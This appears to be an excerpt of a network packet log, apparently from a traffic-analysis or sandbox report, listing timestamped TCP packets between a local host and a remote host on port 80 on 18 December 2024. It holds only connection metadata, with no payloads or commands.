                                                        Dec 18, 2024 09:19:31.261853933 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.265651941 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.267036915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.267164946 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.267285109 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.275423050 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.275485039 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.275552034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.283694029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.283724070 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.283829927 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.292390108 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.292493105 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.292535067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.300576925 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.300592899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.300646067 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.309000015 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.309168100 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.309775114 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.317234039 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.317307949 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.319349051 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.326209068 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.326262951 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.326714039 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.333878994 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.333946943 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.333995104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.344707966 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.344767094 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.469141006 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.469293118 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.469396114 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.471771955 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.472043037 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.472107887 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.477121115 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.477224112 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.477408886 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.482423067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.482548952 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.482619047 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.487766027 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.487854004 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.487926006 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.493144989 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.493421078 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.493488073 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.499839067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.499854088 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.499984026 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.504728079 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.504750013 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.504793882 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.509651899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.509726048 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.509799957 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.514482021 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.514585972 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.514638901 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.519961119 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.520081997 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.520153999 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.525034904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.525154114 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.525232077 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.530352116 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.530450106 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.530510902 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.535700083 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.535775900 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.535850048 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.541629076 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.541702986 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.542208910 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.546469927 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.600223064 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.682404041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.682673931 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.682797909 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.685106993 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.685169935 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.685228109 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.689265966 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.689347029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.689402103 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.693669081 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.693778992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.693847895 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.698173046 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.698268890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.698662043 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.702703953 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.702811003 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.702982903 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.707091093 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.707238913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.707293034 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.711608887 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.711729050 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.711791039 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.716058016 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.716203928 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.716290951 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.720612049 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.720644951 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.720766068 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.725136042 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.725243092 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.725316048 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.729604006 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.729717970 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.729768038 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.734134912 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.734160900 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.734283924 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.738631010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.738770962 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.738904953 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.743053913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.743241072 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.743319035 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.747639894 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.747709990 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.747781038 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.752130032 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.752223015 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.752403975 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.756568909 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.756664038 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.756769896 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.761061907 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.761084080 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.761190891 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.765561104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.765583038 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.765702963 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.770056009 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.770137072 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.770195007 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.774525881 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.774806976 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.775341988 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.778985023 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.779098034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.779150963 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.783530951 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.783628941 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.783914089 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.788053989 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.788146973 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.788213968 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.885169029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.885195971 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.885370970 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.887115955 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.887257099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.887337923 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.891114950 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.891129971 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.891294956 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.894999027 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.895114899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.895174980 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.898947954 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.898961067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.899074078 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.902580976 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.902729034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.902844906 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.906222105 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.906256914 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.906461954 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.909768105 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.909853935 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.910016060 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.913419008 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.913433075 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.913537979 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.916728020 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.916805029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.916959047 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.920207024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.920248985 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.920331955 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.923713923 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.923829079 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.923899889 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.926911116 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.926978111 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.927028894 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.930433035 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.930448055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.930533886 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.933697939 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.933768034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.933890104 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.937194109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.937294960 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.937386036 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.940525055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.940715075 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.940767050 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.943831921 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.944073915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.944179058 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.947244883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.947257042 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.947318077 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.950731039 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.950743914 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.950808048 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.954004049 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.954119921 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.954308987 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.957461119 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.957530975 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.957786083 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.960814953 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.960829020 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.960911989 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.964138985 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.964209080 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.964325905 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.967526913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.967683077 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.967776060 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.970904112 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.970988989 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.971036911 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.974307060 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.974458933 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.974549055 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.977746010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.977849960 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.977900028 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.981174946 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.981229067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.981479883 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.984493971 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.984577894 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.984688044 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.987828970 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.988106012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.988162994 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.991288900 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.991301060 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.991359949 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.994716883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.994729996 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.994966984 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.997951984 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.998075962 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.998143911 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.001425982 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.001496077 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.001593113 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.004795074 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.004848957 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.004923105 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.008205891 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.008403063 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.008459091 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.011568069 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.012039900 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.012223959 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.015351057 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.015362024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.015410900 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.018394947 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.018410921 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.018475056 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.021827936 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.021842003 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.021909952 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.025051117 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.025341034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.025543928 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.093040943 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.093055010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.093238115 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.094274044 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.094286919 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.094338894 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.096400023 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.096476078 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.096549034 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.098730087 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.098824024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.098956108 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.101185083 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.101336956 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.101387978 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.103688002 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.103856087 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.103988886 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.106163025 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.106173992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.106333017 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.108341932 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.108468056 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.108634949 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.110733986 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.110899925 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.110963106 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.112973928 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.113163948 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.113250971 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.115365028 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.115376949 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.115767956 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.117595911 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.117770910 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.117836952 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.119992018 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.120006084 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.120234966 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.122572899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.122586012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.123333931 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.124234915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.124247074 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.124546051 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.126425028 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.126437902 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.126851082 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.128513098 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.128525972 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.128760099 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.130696058 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.130707026 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.131344080 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.132811069 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.132822037 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.134546041 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.134799004 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.134810925 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.134995937 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.136811018 CET8049716139.99.188.124192.168.2.7
